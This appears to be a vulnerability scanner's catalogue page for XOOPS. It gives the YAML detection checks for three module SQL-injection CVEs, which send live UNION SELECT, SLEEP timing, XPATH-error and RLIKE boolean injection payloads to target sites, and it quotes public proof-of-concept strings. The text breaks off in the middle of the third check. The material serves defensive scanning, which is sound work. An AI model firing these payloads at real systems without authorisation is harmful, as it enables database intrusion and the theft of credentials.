XOOPS — 5 vulnerability checks

noctis ships 5 vulnerability checks for XOOPS, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

XOOPS Celepar Qas Module codigo / cod_categoria SQL Injection

CVECVE-2009-4698
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xoops/CVE-2009-4698.yaml

The Qas (Quas) module of XOOPS Celepar places the codigo parameter of modules/qas/aviso.php and modules/qas/imprimir.php and the cod_categoria parameter of modules/qas/categoria.php, unquoted, into its SQL queries, allowing unauthenticated SQL injection (an attacker can read the whole XOOPS database, including user accounts and password hashes).

This check looks for the three scripts under the web root and the usual XOOPS install paths. Where one answers, it sends an id that is a UNION SELECT whose every column multiplies two random numbers, for 8 columns then 1 to 12; the vulnerability is confirmed when the page prints the product computed by the database, which never appears in the request. If no row is displayed, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over a baseline request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{xdir}}/modules/qas/aviso.php?codigo=1
  3. HTTP(S) request GET {{xdir}}/modules/qas/imprimir.php?codigo=1
  4. HTTP(S) request GET {{xdir}}/modules/qas/categoria.php?cod_categoria=1
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{qas.dir}}/modules/qas/{{cur.path}}
  8. Parses / computes the next value with a Rhai script
  9. Checks uhit for \S → finding QoD 97: XOOPS Celepar Qas Module SQL Injection (CVE-2009-4698)
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(selec…
  12. HTTP(S) request GET {{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(selec…
  13. HTTP(S) request GET {{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(selec…
  14. Parses / computes the next value with a Rhai script
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/xoops/CVE-2009-4698.yaml
# XOOPS Celepar — Qas (Quas) module aviso.php / imprimir.php / categoria.php SQL injection (CVE-2009-4698)
#
# The Qas module of XOOPS Celepar puts the `codigo` parameter of
# modules/qas/aviso.php and modules/qas/imprimir.php and the `cod_categoria`
# parameter of modules/qas/categoria.php, unquoted, into the SELECT that loads
# the record to display. Public proofs of concept:
#   EDB-9249  aviso.php?codigo=-1 UNION SELECT 1,2,3,4,5,6,7,8--   (8 columns)
#   EDB-9261  categoria.php?cod_categoria=1 and 1=1 / 1 and 1=2  (blind, all three)
# The XOOPS Celepar tarball (xoops.pr.gov.br) is no longer downloadable, so the
# request shapes follow these advisories. No fixed release was published.
#
# Detection, per candidate install dir where one of the three scripts answers
# HTTP 200 with an integer id:
#   1. QoD 97 — UNION proof: id = -1 union select C,C,…,C-- -  with every column
#      C = CONCAT(0x4e4f43544953, a*b, 0x454e44) (random a, b), for 8 columns
#      first (the PoC's count) then 1..12. The vulnerable page prints NOCTIS<a*b>END,
#      a value computed by the database that never appears in the request.
#   2. QoD 75 — time-based fallback where no UNION row is printed (categoria.php
#      is blind in EDB-9261): id = 0 or (select * from (select(sleep(n)))x) — a
#      derived table sleeps once whatever the row count, SLEEP returns 0 so no row
#      matches. Two random delays (long first) over a fast baseline must each land
#      in their own window for the same multiple m = 1..3 (a script may run the id
#      through several queries), with a gap >= m*2 s (a tarpit that delays every
#      request by the same time gives a gap of ~0).
# No quotes in any payload (magic_quotes_gpc era). Read-only: no table referenced,
# nothing written, nothing extracted.
#
# Better than the source NVT: it only sends the CVE-2009-4713/4714 XSS requests
# and never tests this SQL injection at all.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_xoops_celepar_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801153, GPL-2.0-only).
uid: 5d04d5eb-361f-4418-9b93-ddc2826944df
name: "XOOPS Celepar Qas Module codigo / cod_categoria SQL Injection (CVE-2009-4698)"
description: |
  The Qas (Quas) module of XOOPS Celepar places the codigo parameter of
  modules/qas/aviso.php and modules/qas/imprimir.php and the cod_categoria
  parameter of modules/qas/categoria.php, unquoted, into its SQL queries, allowing
  unauthenticated SQL injection (an attacker can read the whole XOOPS database,
  including user accounts and password hashes).

  This check looks for the three scripts under the web root and the usual XOOPS
  install paths. Where one answers, it sends an id that is a UNION SELECT whose
  every column multiplies two random numbers, for 8 columns then 1 to 12; the
  vulnerability is confirmed when the page prints the product computed by the
  database, which never appears in the request. If no row is displayed, it falls
  back to a time-based check: two SLEEP delays of different random lengths must
  each delay the reply by the requested time over a baseline request. No table
  data is read and nothing is written.
cves: [CVE-2009-4698]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [xoops, xoops-celepar, qas, sqli, union-based, time-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4698"
  - "https://www.exploit-db.com/exploits/9249"
  - "https://www.exploit-db.com/exploits/9261"

steps:
  # ── Random operands, marker and delays ────────────────────────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let s1 = rand_int(6, 7);
      #{ want: "NOCTIS" + (a * b) + "END",
         col: "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)",
         expr: a + "*" + b,
         s1: s1, s2: s1 - 3 }
    store_as: sc

  - id: init-qas
    action: set_var
    var_name: qas
    var_value: {found: false, dir: "", aviso: false, imprimir: false, categoria: false}

  - id: init-uhit
    action: set_var
    var_name: uhit
    var_value: ""

  # ── Which install dir has the Qas scripts (loop group) ────────────────────
  - id: init-b-aviso
    action: set_var
    var_name: b_aviso
    var_value: {status: 0, body: null}
    loop:
      var: xdir
      over: ["", "/xoopscelepar", "/xoops", "/htdocs", "/xoops/htdocs", "/portal"]

  - id: init-b-imprimir
    action: set_var
    var_name: b_imprimir
    var_value: {status: 0, body: null}

  - id: init-b-categoria
    action: set_var
    var_name: b_categoria
    var_value: {status: 0, body: null}

  - id: base-aviso
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/aviso.php?codigo=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "!qas.found"
    store_as: b_aviso

  - id: base-imprimir
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/imprimir.php?codigo=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "!qas.found"
    store_as: b_imprimir

  - id: base-categoria
    action: http_request
    method: GET
    path: "{{xdir}}/modules/qas/categoria.php?cod_categoria=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "!qas.found"
    store_as: b_categoria

  - id: gate
    action: script
    code: |
      if qas.found { qas } else {
        let av = b_aviso.status == 200;
        let im = b_imprimir.status == 200;
        let ca = b_categoria.status == 200;
        #{ found: av || im || ca, dir: xdir, aviso: av, imprimir: im, categoria: ca }
      }
    store_as: qas

  # ── Stage 1: UNION proof, 3 scripts × column counts (loop group) ──────────
  - id: init-u-resp
    action: set_var
    var_name: u_resp
    var_value: {status: 0, body: null}
    loop:
      var: k
      count: 36

  - id: build-union
    action: script
    condition: 'qas.found && uhit == ""'
    code: |
      let scripts = ["aviso.php", "imprimir.php", "categoria.php"];
      let params = ["codigo", "codigo", "cod_categoria"];
      let counts = [8, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12];
      let si = k / 12;
      let n = counts[k % 12];
      let ok = if si == 0 { qas.aviso } else if si == 1 { qas.imprimir } else { qas.categoria };
      let q = "-1%20union%20select%20" + sc.col;
      for i in 1..n { q += "," + sc.col; }
      q += "--%20-";
      #{ ok: ok, path: scripts[si] + "?" + params[si] + "=" + q,
         label: scripts[si] + " " + params[si] + " (" + n + " columns)" }
    store_as: cur

  - id: union-probe
    action: http_request
    method: GET
    path: "{{qas.dir}}/modules/qas/{{cur.path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'qas.found && uhit == "" && cur.ok'
    store_as: u_resp

  - id: check-union
    action: script
    condition: 'qas.found && uhit == "" && cur.ok'
    code: |
      let body = if type_of(u_resp.body) == "string" { u_resp.body } else { "" };
      if body.contains(sc.want) { cur.label } else { "" }
    store_as: uhit

  - id: report-union
    action: match
    source: uhit
    pattern: "\\S"
    condition: 'uhit != ""'
    on_match:
      finding:
        title: "XOOPS Celepar Qas Module SQL Injection (CVE-2009-4698)"
        description: "An unauthenticated request to the Qas module with an id carrying a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the id reaches the SQL query unquoted, so an attacker can read the whole XOOPS database (including user accounts and password hashes)."
        remediation: "No fixed XOOPS Celepar release was published: cast codigo / cod_categoria to an integer (intval) in modules/qas/aviso.php, imprimir.php and categoria.php, or uninstall the Qas module."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir '{{qas.dir}}', {{uhit}}: id=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),...-- - printed the database-computed value {{sc.want}}"
      stop: true

  # ── Stage 2: time-based fallback, per script (loop group) ─────────────────
  - id: init-t-base
    action: set_var
    var_name: t_base
    var_value: {status: 0, body: null, duration_ms: 0}
    loop:
      var: t
      over:
        - {script: "aviso.php", param: "codigo", key: "aviso"}
        - {script: "imprimir.php", param: "codigo", key: "imprimir"}
        - {script: "categoria.php", param: "cod_categoria", key: "categoria"}

  - id: init-t-long
    action: set_var
    var_name: t_long
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-t-short
    action: set_var
    var_name: t_short
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: t-enabled
    action: script
    code: |
      qas.found && qas[t.key] == true
    store_as: t_on

  - id: time-baseline
    action: http_request
    method: GET
    path: "{{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(select(sleep(0)))noctis)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "t_on"
    store_as: t_base

  - id: time-long
    action: http_request
    method: GET
    path: "{{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(select(sleep({{sc.s1}})))noctis)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    condition: "t_on && t_base.status == 200 && t_base.duration_ms < 4000"
    store_as: t_long

  - id: time-short
    action: http_request
    method: GET
    path: "{{qas.dir}}/modules/qas/{{t.script}}?{{t.param}}=0%20or%20(select%20*%20from%20(select(sleep({{sc.s2}})))noctis)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    condition: "t_on && t_long.status != 0 && t_long.duration_ms >= t_base.duration_ms + sc.s1 * 1000 - 1000"
    store_as: t_short

  # The script may run the id through m queries (m = 1..3), each sleeping once:
  # long SLEEP in base+[m*s1-1, m*s1+3) s, short SLEEP in base+[m*s2-1, m*s2+2) s
  # for the same m, and the long reply at least m*2 s slower than the short one
  # (a tarpit adding the same delay to every request gives a gap of ~0).
  - id: check-time
    action: script
    code: |
      let ok = false;
      if t_on && t_base.status == 200 && t_long.status != 0 && t_short.status != 0 {
        let dl = t_long.duration_ms - t_base.duration_ms;
        let ds = t_short.duration_ms - t_base.duration_ms;
        for m in 1..4 {
          if dl >= m * sc.s1 * 1000 - 1000 && dl < m * sc.s1 * 1000 + 3000
            && ds >= m * sc.s2 * 1000 - 1000 && ds < m * sc.s2 * 1000 + 2000
            && t_long.duration_ms - t_short.duration_ms >= m * 2000 { ok = true; }
        }
      }
      if ok { t.script + " " + t.param } else { "" }
    store_as: thit

  - id: report-time
    action: match
    source: thit
    pattern: "\\S"
    condition: 'thit != ""'
    on_match:
      finding:
        title: "XOOPS Celepar Qas Module SQL Injection (CVE-2009-4698)"
        description: "Unauthenticated requests to the Qas module whose id carries a SLEEP in a derived table were delayed by the requested random times: the id reaches the SQL query unquoted, so an attacker can read the whole XOOPS database (including user accounts and password hashes)."
        remediation: "No fixed XOOPS Celepar release was published: cast codigo / cod_categoria to an integer (intval) in modules/qas/aviso.php, imprimir.php and categoria.php, or uninstall the Qas module."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir '{{qas.dir}}', {{thit}}=0 or (select * from (select(sleep(n)))noctis): baseline {{t_base.duration_ms}} ms, sleep({{sc.s1}}) {{t_long.duration_ms}} ms, sleep({{sc.s2}}) {{t_short.duration_ms}} ms"
      stop: true

XOOPS Content Module index.php id SQL Injection

CVECVE-2009-4360
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xoops/CVE-2009-4360.yaml

The Content module 0.5 for XOOPS puts the id parameter of modules/content/index.php unquoted into an SQL query and prints the returned row, allowing unauthenticated SQL injection (an attacker can read the whole XOOPS database, including the user accounts and password hashes).

This check requests modules/content/index.php under the web root and the usual XOOPS install paths. Where it answers, it sends an id that is a UNION SELECT returning an expression multiplying two random numbers and, if that value does not come back, an id whose MySQL XPATH error carries the same product. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/modules/content/index.php?id=1
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/modules/content/index.php?id={{sc.q_union}}
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/modules/content/index.php?id={{sc.q_err}}
  7. Parses / computes the next value with a Rhai script
  8. Checks hit_dir for ^/ → finding QoD 97: XOOPS Content Module index.php id SQL Injection (CVE-2009-4360)

References:

Feed source — tests/vulnerabilities/xoops/CVE-2009-4360.yaml
# XOOPS Content module 0.5 — modules/content/index.php id SQL injection — CVE-2009-4360
#
# The Content module 0.5 for XOOPS puts the `id` GET parameter of
# modules/content/index.php unquoted into the SELECT that loads the page to display.
# The public proof of concept (BID 37155 / EDB-33381) is
#     /modules/content/index.php?id=-1+UNION+SELECT+1,2,3,@@version,5,6,7,8,9,10,11--
# i.e. an 11-column row whose 4th column is printed in the page. The module itself is
# no longer downloadable (no upstream source found), so the request shape follows the
# advisory, and no fixed release was ever published.
#
# Detection (QoD 97), per candidate XOOPS dir whose modules/content/index.php?id=1
# answers 200:
#   1. id = -1 union select 1,2,3,C,5,6,7,8,9,10,11-- -  with
#      C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b: the vulnerable page
#      prints NOCTIS<a*b>END (the PoC's @@version column).
#   2. if that row did not come back (another column count, another displayed column),
#      id = -1 and extractvalue(1,concat(0x7e,a*b))-- - : with XOOPS debug output on,
#      the page carries MySQL's "XPATH syntax error: '~<a*b>'" (HTML-escaped quotes
#      accepted). EXTRACTVALUE is constant-folded: it errors even on an empty table.
# The product a*b is never in the request, so a page that echoes the id (or the query
# text) cannot match. Read-only: no table referenced, nothing extracted, nothing written.
#
# Better than the source NASL: the NASL reports the target as soon as the UNION request
# answers with a "Set-Cookie: PHPSESSID=…; path=/" header — which every XOOPS page sends
# on a first visit, fixed or not (false positive) — and only after id=1 shows the
# "blockContent"/"blockTitle" classes of the default theme (false negative on other
# themes). Here the database must compute our value; the payload ends with "-- " (a bare
# "--" is not a comment in MySQL unless followed by a space or the end of the query), and
# the usual XOOPS install dirs are probed as well as the web root.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_xoops_content_module_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900732, GPL-2.0-only).
uid: 9fb351fd-0a5e-40af-9e67-24e9a35743ec
name: "XOOPS Content Module index.php id SQL Injection (CVE-2009-4360)"
description: |
  The Content module 0.5 for XOOPS puts the id parameter of
  modules/content/index.php unquoted into an SQL query and prints the returned row,
  allowing unauthenticated SQL injection (an attacker can read the whole XOOPS
  database, including the user accounts and password hashes).

  This check requests modules/content/index.php under the web root and the usual XOOPS
  install paths. Where it answers, it sends an id that is a UNION SELECT returning an
  expression multiplying two random numbers and, if that value does not come back, an
  id whose MySQL XPATH error carries the same product. The vulnerability is confirmed
  when the page returns the product computed by the database, which never appears in
  the request. No table data is read and nothing is written.
cves: [CVE-2009-4360]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [xoops, content-module, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4360"
  - "https://www.exploit-db.com/exploits/33381"
  - "http://www.securityfocus.com/bid/37155"

steps:
  # ── Random operands, expected values and the encoded id payloads ──────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         want_err: "~" + (a * b),
         expr: a + "*" + b,
         q_union: "-1%20union%20select%201,2,3," + c + ",5,6,7,8,9,10,11--%20-",
         q_err: "-1%20and%20extractvalue(1,concat(0x7e," + a + "*" + b + "))--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-how
    action: set_var
    var_name: hit_how
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/xoops", "/htdocs", "/xoops/htdocs", "/cms", "/portal"]

  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}

  - id: init-err-resp
    action: set_var
    var_name: err_resp
    var_value: {status: 0, body: ""}

  - id: init-is-content
    action: set_var
    var_name: is_content
    var_value: false

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/modules/content/index.php?id=1"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: gate
    action: script
    condition: 'hit_dir == ""'
    code: |
      landing.status == 200
    store_as: is_content

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/modules/content/index.php?id={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_content == true'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == "" && is_content == true'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-union
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "id=-1 union select 1,2,3,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),5,6,7,8,9,10,11-- - returned the database-computed value {{sc.want}} in the page"

  - id: error-probe
    action: http_request
    method: GET
    path: "{{dir}}/modules/content/index.php?id={{sc.q_err}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_content == true'
    store_as: err_resp

  - id: check-error
    action: script
    condition: 'hit_dir == "" && is_content == true'
    code: |
      let body = if type_of(err_resp.body) == "string" { err_resp.body } else { "" };
      if body.contains("XPATH syntax error") && body.contains(sc.want_err) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  - id: how-error
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "id=-1 and extractvalue(1,concat(0x7e,{{sc.expr}}))-- - returned the database-computed value in the MySQL error: XPATH syntax error: '{{sc.want_err}}'"

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "XOOPS Content Module index.php id SQL Injection (CVE-2009-4360)"
        description: "An unauthenticated request to modules/content/index.php with an id carrying a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole XOOPS database (including the user accounts and password hashes)."
        remediation: "No fixed release of the Content module was published: uninstall the module and remove modules/content/, or replace it with a maintained content module."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: {{hit_how}}"
      stop: true

XOOPS Glossaire Module glossaire-aff.php lettre SQL Injection

CVECVE-2014-3935
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xoops/CVE-2014-3935.yaml

The Glossaire module 1.0 for XOOPS places the `lettre` parameter of /modules/glossaire/glossaire-aff.php, unescaped, inside a quoted string in its SQL queries, allowing unauthenticated SQL injection.

This check first sends a single quote and confirms the page prints a database error (a mysql_fetch_* / mysqli_fetch_* result error or the SQL error itself) while the same request with a doubled quote does not. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise a database error, the right sum must not. If the site hides errors, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over a baseline request. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27
  3. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.…
  6. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.…
  7. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.…
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/modules/glossaire/glossaire-aff.php: lettre=K' AND 1 RLIKE IF(…+…=S,1,0x28) AND 'x'='x raised a database result…
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: lettre=K' on …/modules/glossaire/glossaire-aff.php made the page print a database result error (fetch on a failed query), wh…
  11. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%20(SELECT%201%20FROM%2…
  14. HTTP(S) request GET {{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%20(SELECT%201%20FROM%2…
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/xoops/CVE-2014-3935.yaml
# XOOPS Glossaire module 1.0 — glossaire-aff.php `lettre` SQL injection (CVE-2014-3935)
#
# glossaire-aff.php puts the `lettre` GET parameter, unescaped, inside a quoted
# string in two queries (public advisory, lines 19-27):
#   SELECT COUNT(*) FROM <prefix>_glossaire WHERE affiche='O' AND lettre='$lettre' ORDER BY nom
#   SELECT * FROM <prefix>_glossaire WHERE affiche='O' AND lettre='$lettre' ORDER BY nom LIMIT ...
# and passes the result straight to fetch_row(), so a broken query makes PHP
# print a mysql_fetch_row() warning (PHP 5) or a mysqli_fetch_row() TypeError
# (PHP 8) when errors are displayed. No fixed release was published.
#
# Source NASL (2014/gb_xoops_glossaire_module_sql_inj_vuln.nasl) sends
# `lettre=K'` and greps `>mysql_fetch_` plus "expects parameter" or
# "xoopsGetElementById". This feed keeps that check as a fallback and goes
# further:
#   1. QoD 97 — boolean proof computed by the database: with the quote check
#      positive, `K' AND 1 RLIKE IF(A+B=S,1,0x28) AND 'x'='x` is sent three
#      times (S wrong, right, wrong, random A/B). A wrong sum makes RLIKE compile
#      the invalid regex "(" and the query fails; the right sum is valid SQL.
#      Error / no error / error proves the database evaluated our arithmetic.
#      Constant-folded: verified on MariaDB 10.11 with an EMPTY table.
#   2. QoD 75 — the NASL's quote check, plus a control `lettre=K''` (doubled
#      quote = valid SQL) that must NOT error: a page that always prints the
#      warning stays clean. Also matches the mysqli_* / PHP 8 wording, which
#      the NASL misses.
#   3. QoD 70 — time-based fallback when errors are hidden (the NASL is blind
#      there): `K' AND (SELECT 1 FROM (SELECT(SLEEP(n)))noctis) AND 'x'='x`
#      (derived table: sleeps once per query whatever the row count), two
#      random delays over a baseline, each matching n times the same multiple
#      k (1..3 — the page runs the query twice), gap >= k*2.5 s (a constant
#      tarpit gives a gap of ~0). Limit: duration_ms stops at the response
#      headers; PHP sends them after the queries unless output is flushed early.
# Beyond the NASL's detected XOOPS dir, the probe walks the usual install dirs.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_xoops_glossaire_module_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.804609, GPL-2.0-only)
uid: 45a1cb83-8432-42fa-93a2-6716fa127325
name: "XOOPS Glossaire Module glossaire-aff.php lettre SQL Injection (CVE-2014-3935)"
description: |
  The Glossaire module 1.0 for XOOPS places the `lettre` parameter of
  /modules/glossaire/glossaire-aff.php, unescaped, inside a quoted string in
  its SQL queries, allowing unauthenticated SQL injection.

  This check first sends a single quote and confirms the page prints a
  database error (a mysql_fetch_* / mysqli_fetch_* result error or the SQL
  error itself) while the same
  request with a doubled quote does not. It then proves the injection with
  three boolean requests whose outcome depends on the database computing the
  sum of two random numbers: a wrong sum must raise a database error, the
  right sum must not. If the site hides errors, it falls back to a time-based
  check: two SLEEP delays of different random lengths must each delay the
  reply by the requested time over a baseline request. Nothing is written and
  no data is read from the database.
cves: [CVE-2014-3935]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [xoops, glossaire, sqli, boolean-based, time-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-3935"
  - "https://www.exploit-db.com/exploits/39188"
  - "https://www.securityfocus.com/bid/67460"
  - "https://raw.githubusercontent.com/vulncheck-oss/0day.today.archive/main/web-applications/22271.txt"

steps:
  # ── Random operands and sleep delays ──────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let s1 = rand_int(3, 4);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9),
         s1: s1, s2: s1 + 3 }
    store_as: sc

  # ── Per candidate XOOPS base path (loop group) ────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/xoops", "/htdocs", "/xoops/htdocs", "/xoops2", "/html", "/cms", "/portal"]
      var: xdir

  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  - id: init-base-resp
    action: set_var
    var_name: base_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep1-resp
    action: set_var
    var_name: sleep1_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sleep2-resp
    action: set_var
    var_name: sleep2_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── Stage 1: quote breaks the query, doubled quote does not ───────────────
  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%27"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  # A failed query reaches fetch_row(): PHP 5 prints "mysql_fetch_row()
  # expects parameter 1 ..." / "supplied argument is not a valid MySQL result",
  # PHP 7+/mysqli "mysqli_fetch_row() ...", PHP 8 a TypeError naming it. When
  # the XOOPS database class silences the warning (@), the XOOPS debug logger
  # still prints the SQL error itself (syntax error / "Got error ... from
  # regexp" / MariaDB "Regex error"), so those count as the same signal.
  - id: check-qm
    action: script
    code: |
      let re = "mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ereg(re, body) && ctl_resp.status != 0 && !ereg(re, cbody);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{xdir}}/modules/glossaire/glossaire-aff.php?lettre=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
